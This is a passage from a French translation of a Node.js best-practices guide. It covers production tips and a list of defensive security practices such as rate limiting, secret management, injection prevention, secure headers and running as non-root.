diminuées lors du traitement de nombreux fichiers statiques en raison de son modèle mono-processus.\n\n**Autrement :** Votre unique processus de Node sera occupé à diffuser des centaines de fichiers html/images/angular/react au lieu d'allouer toutes ses ressources à la tâche pour laquelle il est conçu - fournir du contenu dynamique\n\n🔗 [**Plus d'infos : retirez vos ressources frontend de Node**](./sections/production/frontendout.french.md)\n\n<br/><br/>\n\n## ![✔] 5.12. Soyez sans état, tuez vos serveurs presque tous les jours\n\n**TL;PL :** Stockez tout type de données (par exemple, sessions utilisateur, cache, fichiers téléchargés) dans des stockages de données externes. Envisagez de « tuer » vos serveurs périodiquement ou d'utiliser une plateforme « sans serveur » (par exemple AWS Lambda) qui impose explicitement un comportement sans état.\n\n**Autrement :** La défaillance d'un serveur particulier entraînera l'arrêt des applications au lieu de simplement tuer une machine défectueuse. De plus, l'élasticité de l'extensibilité sera plus difficile à obtenir en raison de la dépendance à un serveur spécifique.\n\n🔗 [**Plus d'infos : soyez sans état, tuez vos serveurs presque tous les jours**](./sections/production/bestateless.french.md)\n\n<br/><br/>\n\n## ![✔] 5.13. Utilisez des outils qui détectent automatiquement les vulnérabilités\n\n**TL;PL :** Même les dépendances les plus réputées comme Express ont des vulnérabilités connues (de temps en temps) qui peuvent mettre un système en danger. Cela peut être facilement maîtrisé en utilisant des outils communautaires et commerciaux qui vérifient constamment les vulnérabilités et avertissent (localement ou sur GitHub), certains peuvent même les corriger immédiatement.\n\n**Autrement :** Si vous ne disposez pas d'outils dédiés pour protéger votre code contre les vulnérabilités, vous devrez suivre en permanence les publications en ligne sur les nouvelles menaces. C'est assez fastidieux.\n\n🔗 [**Plus d'infos : Utilisez des outils qui détectent automatiquement les vulnérabilités**](./sections/production/detectvulnerabilities.french.md)\n\n<br/><br/>\n\n## ![✔] 5.14. Attribuez un id de transaction à chaque relevé du journal\n\nÉgalement connu sous le nom de corrélation id / transit id / tracing id / request id / request context / etc.\n\n**TL;PL :** Attribuez le même identifiant, transaction-id : {une valeur}, à chaque entrée du journal à l'intérieur d'une même requête. Ensuite, lors de l'inspection des erreurs dans les journaux, il est facile de conclure ce qui s'est passé avant et après. Malheureusement, cela n'est pas facile à réaliser dans Node en raison de sa nature asynchrone, consultez les exemples de code. Jusqu'à la version 14 de Node, cela n'était pas facile à réaliser en raison de la nature asynchrone de Node, mais depuis l'arrivée de AsyncLocalStorage, cela est devenu possible et plus facile que jamais. Consultez les exemples de code fournis.\n\n**Autrement :** L'examen d'un journal d'erreurs de production sans le contexte (ce qui s'est passé auparavant) rend le travail de réflexion beaucoup plus difficile et lent.\n\n🔗 [**Plus d'infos : attribuez un ‘TransactionId’ à chaque relevé du journal**](./sections/production/assigntransactionid.french.md)\n\n<br/><br/>\n\n## ![✔] 5.15. Définissez `NODE_ENV=production`\n\n**TL;PL :** Définissez la variable d'environnement `NODE_ENV` avec « production » ou « development » pour indiquer si les optimisations de production doivent être activées - de nombreux paquets npm déterminent l'environnement en cours et optimisent leur code pour la production.\n\n**Autrement :** L'omission de cette simple propriété pourrait fortement dégrader les performances. Par exemple, lors de l'utilisation d'Express pour le rendu côté serveur, l'omission de `NODE_ENV` le rend trois fois plus lent !\n\n🔗 [**Plus d'infos : définissez NODE_ENV=production**](./sections/production/setnodeenv.french.md)\n\n<br/><br/>\n\n## ![✔] 5.16. Concevez des déploiements automatisés, atomiques et sans interruption de service\n\n**TL;PL :** Les études montrent que les équipes qui effectuent de nombreux déploiements réduisent la probabilité de graves problèmes en production. Les déploiements rapides et automatisés qui ne nécessitent pas d'étapes manuelles risquées ni d'interruptions de service améliorent considérablement le processus de déploiement. Vous devriez probablement y parvenir en utilisant Docker combiné à des outils de CI, car ils sont devenus la norme du secteur pour un déploiement optimisé.\n\n**Autrement :** Déploiements longs -> arrêt de la production et erreur humaine -> équipe peu confiante dans la réalisation du déploiement -> moins de déploiements et de fonctionnalités.\n\n<br/><br/>\n\n## ![✔] 5.17. Utilisez une version LTS de Node.js\n\n**TL;PL :** Assurez-vous d'utiliser une version LTS de Node.js pour recevoir les corrections de bogues critiques, les mises à jour de sécurité et les améliorations de performance\n\n**Autrement :** Les bogues ou vulnérabilités récemment découverts pourraient être utilisés pour exploiter une application en production, et votre application pourrait devenir non supportée par divers modules et plus difficile à maintenir\n\n🔗 [**Plus d'infos : Utilisez une version LTS de Node.js**](./sections/production/LTSrelease.french.md)\n\n<br/><br/>\n\n## ![✔] 5.18. Ne redirigez pas les journaux vers l'application\n\n**TL;PL :** Les destinations des journaux ne devraient pas être codées en dur par les développeurs dans le code de l'application, mais devraient plutôt être définies par l'environnement d'exécution dans lequel l'application s'exécute. Les développeurs doivent écrire des journaux dans `stdout` en utilisant un utilitaire de journalisation et laisser l'environnement d'exécution (conteneur, serveur, etc.) diriger le flux `stdout` vers la destination appropriée (c'est-à-dire Splunk, Graylog, ElasticSearch, etc.).\n\n**Autrement :** Acheminement des journaux de gestion des applications === difficile à dimensionner, perte de journaux, mauvaise séparation des informations.\n\n🔗 [**Plus d'infos : redirection du journal**](./sections/production/logrouting.french.md)\n\n<br/><br/>\n\n## ![✔] 5.19. Installez vos paquets avec `npm ci`\n\n**TL;PL :** Vous devez vous assurer que le code de production utilise la version exacte des paquets avec lesquels vous l'avez testé. Exécutez `npm ci` pour faire une installation propre de vos dépendances correspondant aux fichiers package.json et package-lock.json.\n\n**Autrement :\\*\\*\\*\\*** Le service qualité testera le code de manière approfondie et approuvera une version qui se comportera différemment en production. Pire encore, différents serveurs dans le même cluster de production peuvent exécuter un code différent.\n\n🔗 [**Plus d'infos : utilisez npm ci**](./sections/production/installpackageswithnpmci.french.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-des-matières\">⬆ Retourner en haut de la page</a></p>\n\n# `6. Bonnes pratiques de sécurité`\n\n<div align=\"center\">\n<img src=\"https://img.shields.io/badge/OWASP%20Threats-Top%2010-green.svg\" alt=\"54 items\"/>\n</div>\n\n## ![✔] 6.1. Adoptez les règles de sécurité du linter\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Utilisez des plugins de sécurité de linter tels que [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) pour détecter les vulnérabilités et les problèmes de sécurité le plus tôt possible, de préférence lors de leur codage. Cela peut aider à détecter des vulnérabilités de sécurité comme l'utilisation de eval, l'invocation d'un processus enfant ou l'importation d'un module avec une chaîne littérale (par exemple, une entrée utilisateur). Cliquez sur « Plus d'infos » ci-dessous pour voir des exemples de codes qui seront pris en compte par un linter de sécurité.\n\n**Autrement :** Ce qui aurait pu être une simple défaillance de sécurité pendant le développement devient un problème majeur en production. En outre, le projet peut ne pas suivre des pratiques de sécurité de code conformes, ce qui peut entraîner l'introduction de vulnérabilités ou la divulgation de secrets sensibles dans des dépôts distants.\n\n🔗 [**Plus d'infos : régles du linter**](./sections/security/lintrules.french.md)\n\n<br/><br/>\n\n## ![✔] 6.2. Limitez les requêtes simultanées en utilisant un middleware\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Les attaques DOS sont très populaires et relativement faciles à mener. Mettre en œuvre la limitation de débit en utilisant un service externe tel que les équilibreurs de charge, les pare-feux, nginx, un paquet [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible), ou (pour les applications plus petites et moins critiques) un middleware de limitation de débit (par exemple, [express-rate-limit](https://www.npmjs.com/package/express-rate-limit)).\n\n**Autrement :** Une application pourrait faire l'objet d'une attaque entraînant un déni de service, de ce fait, les utilisateurs réels obtiennent un service dégradé ou indisponible.\n\n🔗 [**Plus d'infos : mettez en œuvre la limitation de débit**](./sections/security/limitrequests.french.md)\n\n<br/><br/>\n\n## ![✔] 6.3 Retirez les secrets des fichiers de configuration ou utiliser des paquets pour les crypter\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A3:Sensitive%20Data%20Exposure%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Ne stockez jamais les secrets en clair dans les fichiers de configuration ou le code source. Utilisez plutôt des systèmes de gestion des secrets comme les produits Vault, Kubernetes/Docker Secrets ou des variables d'environnement. En dernier recours, les secrets stockés dans le contenu des sources doivent être cryptés et gérés (clés de roulement, expiration, audit, etc.). Utilisez des hooks de pre-commit/push pour éviter de commeittez des secrets accidentellement.\n\n**Autrement :** Le contenu des sources, même pour les dépôts privés, peut être rendu public par erreur, et tous les secrets sont alors dévoilés. L'accès au contenu des sources pour une partie externe donnera par inadvertance accès à des systèmes connexes (bases de données, apis, services, etc.).\n\n🔗 [**Plus d'infos : gestion des secrets**](./sections/security/secretmanagement.french.md)\n\n<br/><br/>\n\n## ![✔] 6.4. Évitez les vulnérabilités d'injection de query avec les bibliothèques ORM/ODM\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Pour éviter l'injection SQL/NoSQL et d'autres attaques malveillantes, utilisez toujours un ORM/ODM ou une bibliothèque de base de données qui échappe les données ou prend en charge les queries paramétrées nommées ou indexées et se charge de valider les entrées de l'utilisateur pour les types attendus. N'utilisez jamais simplement des chaînes de template JavaScript ou une concaténation de chaînes pour injecter des valeurs dans les queries, car cela ouvre votre application à un large éventail de vulnérabilités. Toutes les bibliothèques d'accès aux données Node.js réputées (par exemple [Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [mongoose](https://github.com/Automattic/mongoose)) disposent d'une protection intégrée contre les attaques par injection.\n\n**Autrement :** Une entrée utilisateur non validée ou non assainie pourrait conduire à l'injection de l'opérateur lorsqu'on travaille avec MongoDB pour NoSQL, et le fait de ne pas utiliser un système d'assainissement approprié ou un ORM permettra facilement des attaques par injection SQL, créant une énorme vulnérabilité.\n\n🔗 [**Plus d'infos : Prévention de l'injection de queries à l'aide des bibliothèques ORM/ODM**](./sections/security/ormodmusage.french.md)\n\n<br/><br/>\n\n## ![✔] 6.5. Collection des meilleures pratiques génériques en matière de sécurité\n\n**TL;PL :** Il s'agit d'une collection de conseils de sécurité qui n'est pas directement liée à Node.js, l'implémentation de Node n'est pas très différente de toute autre langage. Cliquez pour en savoir plus.\n\n🔗 [**Plus d'infos : les meilleures pratiques communes en matière de sécurité**](./sections/security/commonsecuritybestpractices.french.md)\n\n<br/><br/>\n\n## ![✔] 6.6. Adaptez les entêtes de réponse HTTP pour une sécurité accrue\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Votre application doit utiliser des entêtes sécurisés pour empêcher les attaquants d'utiliser des attaques courantes comme le cross-site scripting (XSS), le clickjacking et d'autres attaques malveillantes. Celles-ci peuvent être facilement configurées à l'aide de modules tels que [helmet](https://www.npmjs.com/package/helmet).\n\n**Autrement :** Les attaquants pourraient lancer des attaques directes sur les utilisateurs de votre application, ce qui entraînerait d'énormes vulnérabilités de sécurité.\n\n🔗 [**Plus d'infos : utilisation d'entêtes sécurisés dans votre application**](./sections/security/secureheaders.french.md)\n\n<br/><br/>\n\n## ![✔] 6.7. Inspectez constamment et automatiquement les dépendances vulnérables\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Known%20Vulnerabilities%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Avec l'écosystème npm, il est courant d'avoir de nombreuses dépendances pour un projet. Les dépendances doivent toujours être contrôlées lorsque de nouvelles vulnérabilités sont détectées. Utilisez des outils comme [npm audit](https://docs.npmjs.com/cli/audit) ou [snyk](https://snyk.io/) pour suivre, surveiller et corriger les dépendances vulnérables. Intégrez ces outils à votre configuration CI afin de détecter une dépendance vulnérable avant qu'elle ne passe en production.\n\n**Autrement :** Un attaquant pourrait détecter votre framework Web et attaquer toutes ses vulnérabilités connues.\n\n🔗 [**Plus d'infos : sécurité des dépendances**](./sections/security/dependencysecurity.french.md)\n\n<br/><br/>\n\n## ![✔] 6.8. Protégez les mots de passe/secrets des utilisateurs à l'aide de bcrypt ou scrypt\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Les mots de passe ou les secrets (par exemple les clés API) doivent être stockés en utilisant une fonction de hachage sécurisée + un salt comme `bcrypt`,`scrypt`, ou dans le pire des cas `pbkdf2`.\n\n**Autrement :** Les mots de passe et les secrets qui sont stockés sans utiliser de fonction sécurisée sont vulnérables au brute-force et aux attaques de dictionnaire qui mèneront à leur divulgation.\n\n🔗 [**Plus d'infos : mots de passe utilisateur**](./sections/security/userpasswords.french.md)\n\n<br/><br/>\n\n## ![✔] 6.9. Échappez les sorties HTML, JS et CSS\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Les données non approuvées qui sont envoyées au navigateur peuvent être exécutées au lieu d'être simplement affichées, ce qui est communément appelé une attaque de script intersite (XSS). Atténuez cela en utilisant des bibliothèques dédiées qui marquent explicitement les données comme du contenu pur qui ne devrait jamais être exécuté (par exemple encodage, échappement).\n\n**Autrement :** Un attaquant pourrait stocker du code JavaScript malveillant dans votre base de données qui sera ensuite envoyé tel quel aux pauvres clients.\n\n🔗 [**Plus d'infos : échappez la sortie**](./sections/security/escape-output.french.md)\n\n<br/><br/>\n\n## ![✔] 6.10. Validez les schémas JSON entrants\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7: XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Validez la charge utile du corps des requêtes entrantes et assurez-vous qu'elle répond aux exigences, sinon échouez rapidement. Pour éviter un codage de validation fastidieux pour chaque route, vous pouvez utiliser des schémas de validation légers basés sur JSON tels que [jsonschema](https://www.npmjs.com/package/jsonschema) ou [joi](https://www.npmjs.com/package/joi).\n\n**Autrement :** Votre générosité et votre approche permissive augmentent considérablement la surface d'attaque et encouragent l'attaquant à essayer de nombreuses entrées jusqu'à ce qu'il trouve une combinaison pour planter l'application.\n\n🔗 [**Plus d'infos : validez les schémas JSON entrants**](./sections/security/validation.french.md)\n\n<br/><br/>\n\n## ![✔] 6.11. Prenez en charge le blocage des JWT\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Lorsque vous utilisez des jetons Web JSON (par exemple, avec [Passport.js](https://github.com/jaredhanson/passport)), il n'existe par défaut aucun mécanisme permettant de révoquer l'accès aux jetons émis. Lorsque vous découvrez une activité malveillante de la part d'un utilisateur, il n'y a aucun moyen de l'empêcher d'accéder au système tant qu'il détient un jeton valide. Pour atténuer ce problème, il est possible de mettre en place une liste de blocage des jetons non fiables qui sont validés à chaque requête.\n\n**Autrement :** Les jetons expirés ou égarés pourraient être utilisés de manière malveillante par un tiers pour accéder à une application et se faire passer pour le propriétaire du jeton.\n\n🔗 [**Plus d'infos : bloquez les jetons Web JSON**](./sections/security/expirejwt.french.md)\n\n<br/><br/>\n\n## ![✔] 6.12. Empêchez les attaques brute-force perpétrées contre les autorisations\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Une technique simple et puissante consiste à limiter les tentatives d'autorisation en utilisant deux mesures :\n\n1. Le premier est le nombre de tentatives infructueuses consécutives par le même ID/nom unique d'utilisateur et la même adresse IP.\n2. Le deuxième est le nombre de tentatives infructueuses à partir d'une adresse IP sur une longue période de temps. Par exemple, bloquez une adresse IP si elle fait 100 tentatives infructueuses en une journée.\n\n**Autrement :** Un attaquant peut lancer des tentatives de mot de passe automatisées illimitées pour accéder à des comptes privilégiés sur une application.\n\n🔗 [**Plus d'infos : restrictions du nombre de connexions**](./sections/security/login-rate-limit.french.md)\n\n<br/><br/>\n\n## ![✔] 6.13. Exécutez Node.js en tant qu'utilisateur non root\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A5:Broken%20Access%20Access%20Control-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Il existe un scénario répandu dans lequel Node.js s'exécute en tant qu'utilisateur root avec des autorisations illimitées. Par exemple, c'est le comportement par défaut dans les conteneurs Docker. Il est recommandé de créer un utilisateur non root et de l'intégrer dans l'image du Docker (exemples donnés ci-dessous) ou d'exécuter le processus sous le nom de cet utilisateur en invoquant le conteneur avec l'indicateur « -u nom_utilisateur ».\n\n**Autrement :** Un attaquant qui réussit à exécuter un script sur le serveur obtient un pouvoir illimité sur la machine locale (par exemple, modifier iptable et réacheminer le trafic vers son serveur).\n\n🔗 [**Plus d'infos : exécutez Node.js en tant qu'utilisateur non root**](./sections/security/non-root-user.french.md)\n\n<br/><br/>\n\n## ![✔] 6.14. Limitez la capacité des données utiles en utilisant un proxy inverse ou un middleware\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Plus les données utiles du corps sont grandes, plus votre processus unique travaille intensément pour les traiter. C'est l'occasion pour les attaquants de mettre les serveurs à genoux sans qu'il y ait beaucoup de requêtes (attaques DOS/DDOS). Atténuez cela en limitant la taille du corps des requêtes entrantes en périphérie (par exemple, pare-feu, ELB) ou en configurant [express body parser](https://github.com/expressjs/body-parser) pour accepter uniquement les données utiles de petite taille.\n\n**Autrement :** Votre application devra traiter des requêtes importantes, incapable de traiter les autres travaux importants qu'elle doit accomplir, ce qui aura des conséquences sur les performances et la vulnérabilité aux attaques DOS.\nVotre application devra faire face à de grosses requêtes, incapable de traiter les autres travaux importants qu'elle doit accomplir, entraînant des implications en termes de performances et une vulnérabilité face aux attaques DOS.\n🔗 [**Plus d'infos : limitez la capacité des données utiles**](./sections/security/requestpayloadsizelimit.french.md)\n\n<br/><br/>\n\n## ![✔] 6.15. Évitez les instruction eval de JavaScript\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** `eval` est diabolique car il permet d'exécuter du code JavaScript personnalisé pendant l'exécution. Il ne s'agit pas seulement d'un problème de performances, mais également d'un problème de sécurité important en raison du code JavaScript malveillant qui peut provenir de la saisie de l'utilisateur. Une autre fonctionnalité du langage à éviter est le constructeur `new Function`. Il ne faut pas non plus passer de code JavaScript dynamique à `setTimeout` et `setInterval`.\n\n**Autrement :** Un code JavaScript malveillant trouve un moyen d'accéder au texte passé dans `eval` ou d'autres fonctions d'évaluation en temps réel du langage JavaScript, et obtiendra un accès complet aux autorisations JavaScript sur la page. Cette vulnérabilité se manifeste souvent par une attaque XSS.\n\n🔗 [**Plus d'infos : évitez les instruction eval de JavaScript**](./sections/security/avoideval.french.md)\n\n<br/><br/>\n\n## ![✔] 6.16. Empêchez une mauvaise RegEx de surcharger l'exécution de votre unique processus\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Les expressions régulières, bien qu'elles soient pratiques, constituent une réelle menace pour les applications JavaScript en général et la plateforme Node.js en particulier. La saisie d'un texte par l'utilisateur peut nécessiter un nombre exceptionnel de cycles du CPU pour être traitée. Le traitement RegEx pourrait être inefficace, à tel point qu'une seule requête qui valide 10 mots peut bloquer toute la boucle d'événement pendant 6 secondes et mettre l'unité centrale en 🔥. Pour cette raison, préférez les paquets de validation tiers comme [validator.js](https://github.com/chriso/validator.js) au lieu d'écrire vos propres modèles de regex, ou utilisez [safe-regex](https://github.com/substack/safe-regex) pour détecter les modèles de regex vulnérables.\n\n**Autrement :** Des RegEx mal écrites pourraient être susceptibles de faire l'objet d'attaques DoS par expression régulière qui bloqueraient complètement la boucle de l'événement. Par exemple, le populaire paquet \"moment\" a été déclaré vulnérable par une utilisation malveillante de RegEx en novembre 2017.\n\n🔗 [**Plus d'infos : empêcher une RegEx malveillante**](./sections/security/regex.french.md)\n\n<br/><br/>\n\n## ![✔] 6.17. Évitez le chargement de modules à l'aide d'une variable\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Évitez de demander/importer un autre fichier dont le chemin d'accès a été donné en paramètre, car on peut craindre qu'il provienne d'une saisie de l'utilisateur. Cette règle peut être étendue pour l'accès aux fichiers en général (c'est-à-dire `fs.readFile()`) ou à d'autres ressources sensibles avec des variables dynamiques provenant d'une entrée utilisateur. Le linter [Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) peut détecter de tels modèles et avertir suffisamment tôt.\n\n**Autrement :** Une entrée utilisateur malveillante pourrait trouver son chemin vers un paramètre qui est utilisé pour exiger des fichiers falsifiés, par exemple, un fichier précédemment téléchargé sur le système de fichiers, ou accéder à des fichiers système déjà existants.\n\n🔗 [**Plus d'infos : chargement sécurisé des modules**](./sections/security/safemoduleloading.french.md)\n\n<br/><br/>\n\n## ![✔] 6.18. Exécutez un code dangereux dans un bac à sable\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Lorsqu'il s'agit d'exécuter du code externe donné en cours d'exécution (par exemple un plugin), utilisez un environnement d'exécution de type « bac à sable » (« sandbox ») qui isole et protège le code principal contre le plugin. Ceci peut être réalisé en utilisant un processus dédié (par exemple `cluster.fork()`), un environnement sans serveur ou des paquets npm dédiés qui agissent comme un bac à sable.\n\n**Autrement :** Un plugin peut attaquer à travers une variété infinie d'options comme les boucles infinies, la surcharge de la mémoire et l'accès aux variables sensibles de l'environnement du processus.\n\n🔗 [**Plus d'infos : exécutez un code dangereux dans un bac à sable**](./sections/security/sandbox.french.md)\n\n<br/><br/>\n\n## ![✔] 6.19. Soyez particulièrement vigilants lorsque vous travaillez avec des processus fils\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Évitez d'utiliser des processus fils lorsque c'est possible et validez et assainissez les entrées pour atténuer les attaques par injection dans l'interface sytème si vous devez encore le faire. Préférez l'utilisation de `child_process.execFile` qui, par définition, n'exécutera qu'une seule commande avec un ensemble d'attributs et ne permettra pas l'expansion des paramètres de l'interface système.\n\n**Autrement :** L'utilisation naïve de processus fils pourrait entraîner l'exécution de commandes à distance ou des attaques par injection dans l'interface système en raison d'une entrée utilisateur malveillante transmise à une commande système non assainie.\n\n🔗 [**Plus d'infos : soyez prudents lorsque vous travaillez avec des processus fils**](./sections/security/childprocesses.french.md)\n\n<br/><br/>\n\n## ![✔] 6.20. Masquez les détails des erreurs aux clients\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Un gestionnaire d'erreur express intégré masque les détails de l'erreur par défaut. Cependant, il y a de grandes chances que vous implémentiez votre propre logique de traitement des erreurs avec des objets d'erreur personnalisés (considérés par beaucoup comme une meilleure pratique). Si vous le faites, veillez à ne pas renvoyer l'objet Error complet au client, qui pourrait contenir certains détails sensibles de l'application.\n\n**Autrement :** Des détails sensibles de l'application pourraient être divulgués à partir d'informations trouvées dans une trace de pile, tels que les chemins d'accès aux fichiers du serveur, les modules tiers utilisés et d'autres flux de travail internes de l'application qui pourraient être exploités par un attaquant.\n\n🔗 [**Plus d'infos : masquez les détails des erreurs au client**](./sections/security/hideerrors.french.md)\n\n<br/><br/>\n\n## ![✔] 6.21. Configurez 2FA pour npm ou Yarn\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;PL :** Toute étape de la chaîne de développement doit être protégée par une authentification multi-facteurs (MFA). npm/Yarn sont une belle opportunité pour les attaquants qui peuvent mettre la main sur le mot de passe d'un développeur. En utilisant les identifiants des développeurs, les attaquants peuvent injecter du code malveillant dans des bibliothèques qui sont largement installées dans les projets et les services. Peut-être même sur le web s'ils sont publiés publiquement. L'activation de l'authentification à deux facteurs dans npm ne laisse pratiquement aucune chance aux attaquants de modifier le code de votre 